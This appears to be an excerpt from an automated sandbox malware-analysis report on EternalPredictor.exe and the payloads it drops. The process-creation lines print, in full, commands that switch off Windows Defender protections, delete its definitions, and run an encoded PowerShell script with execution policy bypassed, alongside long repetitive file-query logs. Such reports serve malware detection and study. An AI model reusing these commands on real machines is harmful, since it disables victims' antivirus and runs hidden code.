agacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab

Source: C:\Users\user\AppData\Roaming\program.exe

Code function: 5_2_00007FF72C679570 cpuid

5_2_00007FF72C679570

Source: C:\Users\user\Desktop\EternalPredictor.exe	Queries volume information: C:\Users\user\Desktop\EternalPredictor.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Queries volume information: C:\Users\user\AppData\Roaming\eternal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\_sqlite3.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\_socket.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\select.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
